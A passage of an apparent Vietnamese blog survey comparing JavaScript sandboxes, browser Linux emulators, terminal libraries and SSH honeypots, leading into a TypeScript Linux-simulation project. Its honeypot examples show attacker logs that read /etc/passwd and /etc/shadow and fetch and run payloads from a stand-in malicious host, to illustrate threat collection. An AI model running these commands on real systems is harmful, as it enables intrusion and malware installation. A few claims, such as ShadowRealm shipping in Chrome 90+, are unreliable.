  6 * 7 // 42
`);

ShadowRealm có sẵn trong trình duyệt (Chrome 90+, Firefox 105+) nhưng chưa có trong Node.js ổn định vào năm 2026. Đề xuất TC39 Compartments xây dựng dựa trên nó để cô lập ở cấp module. Đây là những câu trả lời được chuẩn hóa dài hạn, nhưng chúng chưa sẵn sàng cho production phía máy chủ Node. Đó là một trong những thứ bạn thấy từ xa nhưng... nó chỉ chưa ở đó thôi. TC39 cổ điển xD


Tổng kết họ sandbox

vm vm2 isolated-vm quickjs-emscripten Deno Workers
Ranh giới cô lập không có (phạm vi) Proxy (hỏng) V8 Isolate Wasm V8 Isolate + perms Rust
Giới hạn bộ nhớ ❌ ❌ ✅ giới hạn chặt ✅ heap Wasm một phần
Timeout CPU ❌ ✅ (có thể vượt qua) ✅ chặt ✅ ✅
Bảo mật không có hỏng vững chắc vững chắc vững chắc
Tốc độ JS V8 gốc V8 gốc V8 gốc ~10x chậm hơn V8 gốc
Trình duyệt ❌ ❌ ❌ ✅ ❌
Tương thích Node gốc ✅ ✅ shim một phần một phần
Trạng thái ổn định rủi ro (CVE mới) ✅ hoạt động ✅ hoạt động ✅ hoạt động
Chi phí RAM ~1 MB ~5-20 MB ~3-10 MB ~5-15 MB ~10-30 MB

Kết luận: nếu bảo mật quan trọng với bạn, có chính xác hai lựa chọn thực sự -- isolated-vm (extension gốc, V8 Isolate, tốc độ JS đầy đủ) và quickjs-emscripten (Wasm, tương thích trình duyệt, ~10x chậm hơn cho tính toán nặng). Mọi thứ khác hoặc là "làm ơn đừng làm thế" (vm, vm2) hoặc là một runtime giải quyết một vấn đề hoàn toàn khác (Deno). ShadowRealm có thể thay đổi cuộc chơi một ngày nào đó, nhưng hiện tại thì chưa.


Phần 2 -- Các trình giả lập Linux bằng JavaScript

Đây là lúc mọi thứ trở nên thực sự thú vị đối với tôi. Đây là những trình giả lập thực sự -- chúng triển khai một tập lệnh CPU bằng JavaScript hoặc WebAssembly, khởi động một ảnh nhân Linux thực sự, và thực thi các nhị phân người dùng thực sự. Sự cô lập đến từ việc khách và chủ không chia sẻ gì: không gian bộ nhớ khác nhau, luồng lệnh khác nhau.

Cái giá phải trả là rất lớn, nhưng những gì bạn nhận được thực sự đáng chú ý: một Linux thực sự, thực sự chạy, trong trình duyệt hoặc tiến trình Node của bạn. Kiểu, khá điên rồ khi nghĩ về nó, phải không?

2.1 v86 -- trình giả lập PC x86 bằng JS + JIT Wasm

v86 của Fabrice (copy trên GitHub) là trình giả lập x86 mã nguồn mở có khả năng nhất bằng JavaScript. Nó bắt đầu như một trình thông dịch JS thuần túy vào khoảng năm 2013 và đã phát triển thành một hệ thống JIT nơi các khối cơ bản x86 được dịch sang WebAssembly trong thời gian chạy, cải thiện đáng kể hiệu suất.

Những gì nó giả lập:

  • CPU: x86-32 (IA-32), tập lệnh khoảng ở mức Pentium 1. Không có 64-bit (x86-64) -- đây là một giới hạn kiến trúc phần cứng, không phải tính năng bị thiếu.
  • FPU: qua Float64Array của JavaScript. x87 có độ chính xác mở rộng 80-bit; double của JS là 64-bit. Điều này có nghĩa là kết quả dấu phẩy động có thể khác biệt nhẹ so với CPU thực.
  • Bộ nhớ: có thể cấu hình, ánh xạ tới SharedArrayBuffer hoặc ArrayBuffer trong heap JS.
  • Phần cứng: 8254 PIT (timer), 8259 PIC (bộ điều khiển ngắt), bộ điều khiển bàn phím 8042 (PS/2), CMOS RTC, VGA với các mở rộng SVGA và Bochs VBE, bộ điều khiển IDE, bộ điều khiển đĩa mềm (8272A), card mạng NE2000.
  • BIOS: sử dụng SeaBIOS (BIOS x86 mã nguồn mở).

JIT hoạt động bằng cách xác định các khối cơ bản (chuỗi lệnh x86 không có nhảy), dịch chúng thành một hàm WebAssembly, lưu hàm đó vào bộ nhớ đệm, và gọi nó trong các lần thực thi tiếp theo của cùng khối. Các đường dẫn mã nóng đạt được hiệu suất Wasm gốc. Các đường dẫn nguội rơi trở lại trình thông dịch JS.

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// Chụp đầu ra serial (console nhân Linux)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// Gửi đầu vào cho khách (gõ trong shell)
emulator.serial0_send("ls /\n");

OS được hỗ trợ: Alpine Linux (xuất sắc), Ubuntu 16.04/18.04 (chỉ i386), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (có hạn chế), MS-DOS.

Thời gian khởi động: 15-40 giây cho Alpine Linux từ ảnh sạch. Điều này vốn có từ việc khởi tạo nhân thực sự -- bạn không thể bỏ qua nó. Vâng, người dùng của bạn sẽ nhìn một nhân Linux khởi động trong trình duyệt của họ. Đó là thỏa thuận xD

Bộ nhớ tối thiểu: 100-256 MB mỗi instance. Riêng bộ nhớ đệm mã Wasm JIT có thể lên tới hàng chục MB cho một instance Linux bận rộn.

Sử dụng trong Node.js: được hỗ trợ đầy đủ. Không cần DOM -- đầu ra VGA có thể bỏ qua nếu bạn chỉ quan tâm đến đầu ra serial.

Những gì bạn không thể làm: chạy nhị phân 64-bit, sử dụng các tính năng nhân hiện đại (eBPF, io_uring, v.v.), hoặc chạy nhiều hơn một số ít instance đồng thời mà không chạm tới giới hạn bộ nhớ.

npm: v86 -- được cập nhật liên tục, bản phát hành mới nhất cùng ngày khi tôi viết.
GitHub: copy/v86
Demo: copy.sh/v86


2.2 JSLinux và TinyEMU -- công trình của Bellard, hai lần

JSLinux là trình giả lập Linux bằng JavaScript của riêng Fabrice Bellard -- cái đầu tiên, được phát hành năm 2011. Tôi tiếp tục nhắc đến Bellard trong bài này vì ông ấy cứ xuất hiện: QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg. Ông ấy là một người đặc biệt. Thực sự là một trong những đóng góp kỹ thuật cá nhân ấn tượng nhất trong lịch sử phần mềm, không hề phóng đại.

JSLinux gốc là một trình thông dịch x86 JS thuần túy. Năm 2016, Bellard viết TinyEMU (một trình giả lập RISC-V bằng C), biên dịch nó sang JavaScript qua Emscripten, và nó trở thành cơ sở của JSLinux hiện tại. Vậy nên JSLinux hiện tại thực ra là mã C tạo ra mã JavaScript -- hoàn toàn không phải JS viết tay.

Các ghi chú kỹ thuật trên trang web của Bellard rất đáng đọc: JSLinux hiện tại chạy CPU RISC-V 32 hoặc 64-bit (không phải x86), giả lập console VirtIO, mạng VirtIO, thiết bị khối VirtIO, và hệ thống file 9P để chia sẻ file với chủ. Demo JS được biên dịch từ C sử dụng Emscripten -- không phải JS viết tay.

TinyEMU tự nó hỗ trợ:

  • RISC-V RV32IMAFDQC và RV64IMAFDQC (32 và 64-bit, với dấu phẩy động, nhân, lệnh nén)
  • x86 qua KVM (chỉ native, không giả lập -- vì vậy phiên bản JS chỉ RISC-V)
  • Console VirtIO, mạng, khối, đầu vào, hệ thống file 9P

TinyEMU có một demo JavaScript được cung cấp qua Emscripten. Nó là cơ sở của JSLinux và cũng được sử dụng bởi container2wasm (xem phần 2.5).

Trạng thái JSLinux: không có package npm, không có API lập trình. Nó là một demo bạn mở trong trình duyệt. Tầm quan trọng lịch sử là lớn -- nó đã chứng minh khái niệm. Tính hữu ích thực tế như một thư viện: không có.

TinyEMU: không có trên npm, mã nguồn C có sẵn tại bellard.org/tinyemu.


2.3 jor1k -- trình giả lập OR1K

jor1k là một trình giả lập OpenRISC 1000 (OR1K) được viết bằng JavaScript bởi Sebastian Macke. Nó thú vị về mặt lịch sử vì jor1k đã giới thiệu hỗ trợ hệ thống file VirtIO 9P, mà Bellard sau đó đã tích hợp vào TinyEMU và JSLinux. Sự thụ phấn chéo giữa các dự án này rất chặt chẽ -- chúng vay mượn lẫn nhau, đó thực sự là một trong những điều tuyệt vời nhất của công việc giả lập mã nguồn mở.

Trạng thái: không còn được bảo trì tích cực, không có package npm. Đã được lưu trữ ở thời điểm này. Hữu ích để biết chủ yếu cho bối cảnh lịch sử -- kiểu như nếu ai đó nhắc đến jor1k trong một cuộc trò chuyện, bây giờ bạn biết nó là gì :)


2.4 CheerpX -- trình giả lập x86 thương mại cho trình duyệt

CheerpX bởi Leaning Technologies là trình giả lập Linux x86 thương mại chất lượng production. Nó không phải mã nguồn mở, nhưng nó có khả năng hơn đáng kể so với v86 trong việc chạy một userspace Debian/Ubuntu thực sự. Nếu bạn cần một VSCode thực sự trong trình duyệt, đây là thứ bạn cần.

Khác biệt chính với v86:

  • Hỗ trợ ISA rộng hơn (nhiều mở rộng x86 hơn, tương thích glibc tốt hơn)
  • Hệ thống file dựa trên IndexedDB trong trình duyệt (bền vững giữa các lần tải lại trang)
  • Hỗ trợ pthread qua SharedArrayBuffer (yêu cầu header COOP/COEP -- vâng những header bảo mật phiền phức đó)
  • Được thiết kế để chạy VSCode, Python, Node.js, và các ứng dụng thực tế khác -- không chỉ ảnh OS tối thiểu
  • Hỗ trợ chuyên nghiệp và SLA có sẵn (aka bạn có thể mắng ai đó nếu nó hỏng)

Trường hợp sử dụng điển hình là "chạy một ứng dụng Linux thực sự trong trình duyệt mà không cần máy chủ." Các công ty sử dụng nó cho IDE dựa trên trình duyệt, hướng dẫn lập trình, và tài liệu tương tác.

// API CheerpX (đơn giản hóa)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Chuyện với Node.js: CheerpX được thiết kế chủ yếu cho trình duyệt. Trình giả lập bên dưới về mặt lý thuyết có thể chạy trong Node (nó là Wasm), nhưng API và tài liệu hoàn toàn hướng đến sử dụng trong trình duyệt. Sử dụng phía máy chủ không được hỗ trợ.

Bộ nhớ: tương tự v86 -- 200+ MB cho một instance Debian thực sự.
Giá cả: miễn phí cho dự án mã nguồn mở, giấy phép thương mại cho SaaS production.
Tài liệu: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Node.js trong Wasm, không phải giả lập Linux

WebContainers thường được xếp chung với các trình giả lập Linux nhưng khác biệt về mặt kiến trúc. Chúng không giả lập x86. Chúng không khởi động Linux. Chúng chạy Node.js biên dịch sang WebAssembly sử dụng WASI. Sự khác biệt này rất quan trọng và tôi đã dành quá nhiều thời gian để bối rối về nó lol.

Tôi nghĩ sự nhầm lẫn đến từ marketing -- "chạy Node.js trong trình duyệt của bạn" nghe có vẻ giống giả lập, nhưng thực ra là chính Node.js được biên dịch sang Wasm, không phải một giả lập Linux chạy Node.js trong một VM. Một thứ hoàn toàn khác.

Kiến trúc:

  1. Node.js được biên dịch sang Wasm (một runtime WASI tùy chỉnh cụ thể)
  2. Một Service Worker chặn các yêu cầu mạng từ máy chủ Node.js được giả lập và định tuyến chúng đến tab trình duyệt
  3. Hệ thống file sống trong bộ nhớ trình duyệt (không có E/S đĩa)
  4. npm là một triển khai tùy chỉnh được tối ưu hóa cho sử dụng trong trình duyệt
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// Viết file
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Chạy lệnh Node.js
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

Vì nó chạy Node.js thực sự (biên dịch sang Wasm), bạn có npm thực sự, API Node.js thực sự, và phân giải module thực sự. Bạn không có một userspace Linux đa năng -- bạn không thể cài đặt gói hệ thống bằng apt, chạy nhị phân biên dịch tùy ý, hoặc làm nhiều việc ngoài hệ sinh thái Node.js.

Yêu cầu trình duyệt: SharedArrayBuffer (yêu cầu header COOP/COEP), hỗ trợ Service Worker, Wasm hiện đại.

Chuyện với Node.js: được thiết kế độc quyền cho sử dụng trong trình duyệt. API không hoạt động bên ngoài context trình duyệt.

npm: @webcontainer/api
Tài liệu: webcontainers.io


2.6 container2wasm -- container Docker biên dịch sang Wasm

container2wasm là một công cụ (không phải package npm) từ NTT nhận một ảnh container Docker và chuyển đổi nó thành một nhị phân WebAssembly có thể chạy trong bất kỳ host Wasm nào -- kể cả trình duyệt. Khi tôi thấy nó lần đầu tiên, tôi thực sự không tin nó hoạt động.

Cơ chế:

  • Cho container x86_64: đóng gói Bochs (một trình giả lập x86, biên dịch sang Wasm) + hệ thống file gốc của container
  • Cho container riscv64: đóng gói TinyEMU (lại Bellard!) + hệ thống file gốc của container
  • File .wasm kết quả khởi động trình giả lập, mount hệ thống file của container, và thực thi điểm vào của container
# Chuyển đổi một container Ubuntu 22.04 sang Wasm
c2w ubuntu:22.04 out.wasm

# Chạy nó
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# Hoặc phục vụ nó cho sử dụng trong trình duyệt
c2w --to-js ubuntu:22.04 /tmp/htdocs/

.wasm kết quả rất lớn -- một Ubuntu tối thiểu vài trăm MB -- nhưng nó hoàn toàn tự đóng gói. Bạn có thể gửi một .wasm qua email cho ai đó và họ có thể chạy Ubuntu trong trình duyệt của họ. Câu đó đáng lẽ không nên có nghĩa nhưng chúng ta đang ở đây.

GitHub: container2wasm/container2wasm


Tổng kết họ trình giả lập

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
Kiến trúc x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86 (độc quyền) Node.js→Wasm/WASI x86/RISC-V (Wasm)
Nhân thực ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64-bit ❌ ✅ (RISC-V) ❌ ✅ n/a ✅
Package npm ✅ ❌ ❌ CDN/API ✅ ❌ (công cụ CLI)
Sử dụng Node.js ✅ ❌ ❌ ❌ ❌ (chỉ trình duyệt) qua Wasmtime
Sử dụng trình duyệt ✅ ✅ ✅ ✅ ✅ ✅
RAM/instance 150-256 MB ~64-128 MB ~64 MB 200+ MB ~100 MB ~200-500 MB
Thời gian khởi động 15-40s 10-30s 10-30s 15-40s 2-5s 10-40s
Mã nguồn mở ✅ ✅ ✅ ❌ một phần ✅
Trạng thái ✅ rất tích cực ✅ ổn định ⚠️ đã lưu trữ ✅ thương mại ✅ hoạt động ✅ hoạt động

Điều nổi bật trong bảng này: v86 là cái duy nhất là một package npm, chạy cả trong trình duyệt và Node, và là mã nguồn mở. Đó là lý do nó thống trị cuộc trò chuyện về "trình giả lập Linux bằng JavaScript". Mọi thứ khác đều có một nhược điểm -- JSLinux không có API, jor1k đã được lưu trữ, CheerpX tốn tiền, WebContainers chỉ trình duyệt và dành riêng cho Node, container2wasm yêu cầu bước build và CLI. Nếu bạn chỉ cần "khởi động Linux trong JavaScript", v86 hầu như luôn là điểm khởi đầu đúng đắn.


Phần 3 -- Stack terminal: xterm.js và node-pty

Hai package liên tục xuất hiện khi mọi người xây dựng trải nghiệm kiểu shell. Chúng không phải sandbox hay trình giả lập -- chúng là hệ thống ống nước UI và PTY -- nhưng chúng có liên quan đến mức tôi sẽ thấy có lỗi nếu bỏ qua chúng. Thêm nữa, tôi đã sử dụng cả hai và chúng thực sự tốt.

3.1 xterm.js -- render terminal

xterm.js là một trình giả lập terminal cho trình duyệt. Nó hiển thị một màn hình terminal (chuỗi thoát VT100/xterm) trong một phần tử <canvas>, xử lý đầu vào bàn phím, và hiển thị một API để định tuyến dữ liệu.

Được sử dụng bởi: terminal tích hợp của VS Code, Azure Cloud Shell, Proxmox VE, AWS CloudShell, và nhiều ứng dụng khác.

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// Gửi dữ liệu đến terminal (hiển thị dưới dạng văn bản)
term.write("$ ");
term.onData(data => {
  // data là các lần gõ phím -- gửi đến backend của bạn
  socket.send(data);
});
socket.onmessage(msg => {
  // đầu ra từ backend -- hiển thị nó
  term.write(msg.data);
});

xterm.js chỉ là lớp render. Nó không chạy shell. Nó không thông dịch lệnh. Nó là một widget hiển thị mà bạn kết nối với backend bạn chọn. Nhiều người nghĩ xterm.js "làm cái terminal" nhưng nó thực sự chỉ là màn hình -- bạn vẫn cần kết nối nó với thứ gì đó thực sự chạy lệnh.

npm: @xterm/xterm
GitHub: xtermjs/xterm.js


3.2 node-pty -- tạo PTY

node-pty tạo một pseudoterminal (PTY) trong Node.js và cung cấp cho bạn một handle đọc/ghi lên nó. Được sử dụng với xterm.js, nó cho phép xây dựng một terminal trình duyệt nói chuyện với một shell thực sự (bash, zsh, fish) chạy trên máy chủ.

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // Gửi đến trình duyệt xterm.js qua WebSocket
  ws.send(data);
});

ws.on("message", data => {
  // Chuyển tiếp các lần gõ phím từ trình duyệt đến shell
  shell.write(data);
});

Đây là mẫu tiêu chuẩn cho IDE đám mây và terminal web: xterm.js (trình duyệt) ↔ WebSocket ↔ node-pty ↔ bash thực sự. Không có cô lập. Shell chạy với tất cả quyền hạn của tiến trình Node.js (hoặc của người dùng khởi chạy nó).

Được bảo trì bởi: Microsoft.
npm: node-pty
GitHub: microsoft/node-pty


Phần 4 -- Các honeypot SSH

Honeypot được thiết kế để bị tấn công. Mục đích là trông đủ thực để kẻ tấn công tương tác với chúng, đồng thời ghi lại mọi thứ chúng làm cho tình báo mối đe dọa. SSH là mục tiêu chính vì nó là dịch vụ bị tấn công nhiều nhất trên internet -- nếu bạn mở cổng 22 trên một IP công cộng, bạn sẽ thấy các nỗ lực quét tự động trong vòng vài phút theo đúng nghĩa đen. Thử một ngày nào đó, nó khá kinh khủng khi thấy nó nhanh đến thế nào.

Chất lượng của một honeypot được đo bằng hai thứ: độ trung thực (nó bắt chước một hệ thống thực sự thuyết phục đến mức nào) và đo từ xa (nó thu thập được bao nhiêu dữ liệu hữu ích). Hai thứ này luôn mâu thuẫn. Một honeypot độ trung thực cao khó xây dựng hơn và rủi ro hơn khi vận hành.

Phần này là thứ cuối cùng đã dẫn tôi đến việc xây dựng module HoneyPot trong typescript-virtual-container, vì vậy tôi có vài ý kiến ở đây.

4.1 Cowrie -- tiêu chuẩn vàng

Cowrie là một honeypot SSH và Telnet tương tác trung bình-đến-cao dựa trên Python. Nó là honeypot SSH được triển khai nhiều nhất trong cộng đồng nghiên cứu và bảo mật.

Kiến trúc:

  • Lớp giao thức: triển khai thực tế giao thức SSH (Twisted Conch), vì vậy kẻ tấn công có bắt tay thực sự, trao đổi khóa thực sự, xác thực thực sự
  • Lớp shell: một hệ thống file giả (giống Debian 5.0) và một trình thông dịch shell một phần trả lời các lệnh phổ biến
  • Chế độ proxy: có thể chuyển hướng đến một hệ thống thực sự phía sau (chế độ tương tác cao), ghi lại mọi thứ đi qua
  • Chế độ LLM (thêm gần đây): sử dụng mô hình ngôn ngữ để tạo phản hồi động cho các lệnh nó không biết xử lý -- vâng, Cowrie bây giờ có chế độ AI. Chúng ta đang sống trong một thời đại điên rồ.
# Những gì Cowrie thu thập
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie lưu trữ các file đã tải xuống (qua wget/curl/SFTP/SCP) để phân tích malware. Nó tích hợp với Splunk, Elasticsearch, và các nền tảng SIEM khác.

Độ trung thực: trung bình-cao. Đủ thuyết phục để đánh lừa bot tự động (chiếm 99% kẻ tấn công SSH -- hầu hết chỉ là script ngu ngốc thử root/password). Con người tinh vi có thể nhận dạng nó qua dấu vân tay, thường là khá nhanh.

Ngôn ngữ: Python (Twisted)
GitHub: cowrie/cowrie


4.2 Kippo -- tiền thân của Cowrie

Kippo là honeypot SSH tương tác trung bình gốc mà Cowrie dựa trên. Cùng ý tưởng cơ bản: giao thức SSH thực sự, hệ thống file giả, shell một phần. Cowrie đã hoàn toàn thay thế nó ở thời điểm này -- Kippo đã được lưu trữ và không ai nên sử dụng nó vào năm 2026. Được đề cập ở đây hoàn toàn vì tính đầy đủ lịch sử, vì bạn có thể thấy nó được tham chiếu trong các bài blog cũ và bài báo bảo mật.

GitHub: desaster/kippo -- đã lưu trữ


4.3 endlessh -- tarpit SSH

endlessh là một honeypot thoái hóa: nó giữ các kết nối SSH mở bằng cách phát dữ liệu banner chậm với tốc độ 1 byte mỗi giây (hoặc ít hơn). Một client SSH kết nối vào nó sẽ bị kẹt vô thời hạn -- nó sẽ không bao giờ đến được xác thực vì máy chủ không bao giờ kết thúc việc gửi banner.

Mục đích không phải là tình báo mối đe dọa mà là từ chối tài nguyên thuần túy: chiếm các luồng quét của kẻ tấn công để chúng không thể tiếp cận các mục tiêu thực sự nhanh như vậy. Thành thật mà nói, nó hơi quỷ quyệt theo một nghĩa tốt. Bạn không học được gì từ kẻ tấn công -- bạn chỉ làm chúng mất thời gian. Có điều gì đó sâu sắc thỏa mãn về điều đó.

// Toàn bộ hành vi giao thức của endlessh:
// Gửi: "SSH-2.0-OpenSSH_" sau đó thêm chậm các ký tự ngẫu nhiên
// Không bao giờ đóng kết nối
// Trình quét của kẻ tấn công sẽ hết thời gian sau N giây

Không có lệnh nào được thu thập. Không có xác thực nào được thử. Chỉ là thời gian kết nối.

Viết bằng: C
GitHub: skeeto/endlessh


4.4 sshesame -- honeypot "cho tất cả vào"

sshesame chấp nhận mọi kết nối SSH (bất kỳ người dùng nào, bất kỳ mật khẩu nào, bất kỳ khóa nào) và ghi lại mọi thứ. Đó là một honeypot không tương tác: nó không trả lời lệnh, nó chỉ để kẻ tấn công "vào" và ghi lại mọi lần gõ phím chúng gõ.

2024-01-15 03:22:11 Kết nối từ 45.33.32.156
  Người dùng: root, Mật khẩu: password123 -- được chấp nhận
  Các lệnh đã gõ:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  Đã ngắt kết nối sau 47s

Hữu ích cho việc thu thập thông tin xác thực: bạn nhanh chóng tích lũy tên người dùng và mật khẩu mà bot thử, cho bạn biết thông tin xác thực mặc định nào hiện đang bị brute-force tích cực. Spoiler: vẫn luôn là root/password, admin/admin, và root/123456. Lần nào cũng vậy.

GitHub: jaksi/sshesame


4.5 Lyrebird -- framework honeypot dựa trên Docker

lyrebird/honeypot-base là một ảnh Docker cơ bản để xây dựng honeypot dịch vụ mạng. Nó không phải cụ thể là honeypot SSH -- nó là một framework để xây dựng honeypot cho bất kỳ giao thức nào.

Ảnh cơ bản cung cấp một framework ghi nhật ký, một hệ thống plugin cho các giao thức, và cấu hình Docker Compose cho honeypot đa dịch vụ. Bạn mở rộng nó để mô phỏng các dịch vụ cụ thể.

Docker Hub: lyrebird/honeypot-base


4.6 Xây dựng honeypot SSH trong Node.js -- cách ngây thơ, và tại sao nó thất bại

Trước typescript-virtual-container, xây dựng một honeypot SSH trong Node.js có nghĩa là kết hợp thư viện ssh2 thực sự với mô phỏng lệnh thủ công. Rất tốn công, rất không hoàn chỉnh, nhưng... đó là một nghi thức phải trải qua ở thời điểm này:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // Ghi lại nỗ lực
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // Cho tất cả vào
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // Phản hồi mô phỏng
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

Nó "hoạt động" theo nghĩa nó thu thập được thông tin xác thực và lệnh. Nhưng nó rõ ràng là giả ngay khi một kẻ tấn công tinh vi đào sâu một chút. uname -a trả về chuỗi đúng nhưng ls /etc trả về "command not found" -- nó rõ ràng là bẫy. Hệ thống file không tồn tại. Các lệnh không thể nối tiếp. Pipe không hoạt động. Biến không được mở rộng.

Một kẻ tấn công có năng lực sẽ nhận dạng honeypot của bạn trong năm lệnh đầu tiên. Các script tự động tìm kiếm hành vi kiểu Cowrie cũng sẽ phát hiện nó ngay lập tức. Đây dường như là điều đã thúc đẩy tác giả của typescript-virtual-container xây dựng thứ gì đó thực sự thông dịch lệnh -- nhiều hơn về điều đó trong Phần 5.


Tổng kết họ honeypot

Cowrie Kippo endlessh sshesame Lyrebird ssh2 ngây thơ
Mức tương tác trung bình-cao trung bình không không thay đổi thấp
Giao thức SSH thực ✅ ✅ ❌ (tarpit) ✅ thay đổi ✅
Độ trung thực shell trung bình trung bình n/a không thay đổi tối thiểu
Thu thập thông tin xác thực ✅ ✅ ❌ ✅ ✅ ✅
Thu thập lệnh ✅ ✅ ❌ ✅ thay đổi ✅
Thu thập malware ✅ ✅ ❌ ❌ ❌ ❌
Tích hợp SIEM ✅ gốc ❌ ❌ ❌ ❌ thủ công
Phản hồi LLM ✅ (mới) ❌ ❌ ❌ ❌ ❌
Ngôn ngữ Python Python C Go Docker Node.js
Node.js gốc ❌ ❌ ❌ ❌ ❌ ✅
Trạng thái ✅ rất tích cực ⚠️ đã lưu trữ ✅ hoạt động ✅ hoạt động ✅ hoạt động DIY

Mô hình ở đây khá rõ ràng: bạn càng muốn độ trung thực cao, bạn càng phải viết nhiều Python. Cowrie là người chiến thắng không thể tranh cãi nếu bạn làm điều này nghiêm túc -- nó đã được kiểm chứng thực địa trong nhiều năm và thu thập được nhiều hơn chỉ thông tin xác thực. endlessh và sshesame là những dự án thú vị hơn là công cụ tình báo mối đe dọa nghiêm túc. Và cách tiếp cận ngây thơ trong Node.js có thể đưa bạn đến khoảng 20% chặng đường trước khi bạn chạm tường.


Phần 5 -- typescript-virtual-container: cái lấp đầy khoảng trống

OK vậy đây là lúc mọi thứ trở nên thú vị. Sau khi phân loại tất cả các họ trên, góc phần tư còn thiếu trở nên khá rõ ràng:

  • Sandbox JS: cô lập mã, không có shell, không có hệ thống file, không có SSH
  • Trình giả lập Linux: OS thực, shell thực, SSH thực... nhưng 150+ MB RAM, 30 giây khởi động, và bạn phải xây dựng API của riêng mình trên E/S serial
  • Honeypot: shell giả, không có API lập trình, Python/Go/C, không gốc Node

Chưa ai xây dựng một môi trường Linux hoàn chỉnh, có thể lập trình, gốc Node, với SSH thực sự, quyền thực sự, mạng ảo thực sự, và API TypeScript được kiểu hóa. Vậy nên cô ấy đã xây dựng nó.

Giới thiệu nhỏ vì đây là lần đầu tiên tôi đề cập đúng cách: typescript-virtual-container được xây dựng bởi Chloé Rolzhausen, một nhà phát triển người Pháp có biệt danh là Fortune (hoặc ItsRealFortune) trên mạng. Bạn có thể tìm cô ấy trên trang web và LinkedIn. Toàn bộ dự án -- 56.000 dòng TypeScript, 247 file, 170 lệnh -- là một nỗ lực đơn độc của một người. Tôi sẽ gọi cô ấy là Fortune trong phần còn lại của bài viết. Và vâng, khá điên rồ. Hãy xem công việc của cô ấy!

Nó thực sự là gì

typescript-virtual-container là một trình mô phỏng môi trường Linux được viết bằng TypeScript thuần túy. Không Wasm. Không extension gốc. Không nhân. ~56.000 dòng mã nguồn trải trên 247 file TypeScript.

Hiểu biết then chốt: bạn không cần một trình giả lập CPU để làm cho ls /etc | grep passwd hoạt động. Bạn cần:

  1. Một cây nút trong bộ nhớ trả lời các thao tác đường dẫn
  2. Một mô hình quyền POSIX được áp dụng cho mỗi truy cập
  3. Một trình phân tích cú pháp shell hiểu pipeline, chuyển hướng, sub-shell và mở rộng biến
  4. ~170 triển khai lệnh (các hàm, không phải nhị phân)
  5. Một hệ thống quản lý người dùng và nhóm
  6. Một thứ gì đó để hiển thị tất cả qua SSH

Tất cả đều khả thi trong TypeScript thuần túy mà không cần bất kỳ sự tham gia nào của nhân.

VirtualFileSystem

VFS là một cây nút được kiểu hóa trong bộ nhớ -- không có E/S đĩa trừ khi bạn chủ động bật chế độ bền vững "fs":

// Biểu diễn nội bộ đơn giản hóa
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // placeholder tải lười

Mỗi thao tác đường dẫn đi qua normalizePath (giải quyết ., .., liên kết tượng trưng) và enforceAccess (kiểm tra quyền đọc/ghi/thực thi dựa trên uid/gid yêu cầu). chmod, chown, sticky bit và setuid đều được triển khai và thực sự được áp dụng. Nếu một tiến trình chạy với uid 1000 cố gắng đọc một file thuộc về root với chế độ 0600, nó nhận được EACCES -- không phải EACCES giả, mà là một Error JavaScript thực sự được ném từ kiểm tra quyền. Phần này khá thanh lịch thành thật mà nói.

VFS tuần tự hóa thành:

  • .vfsb -- định dạng nhị phân nhỏ gọn (tùy chỉnh, với nén fflate) -- đây là định dạng mặc định
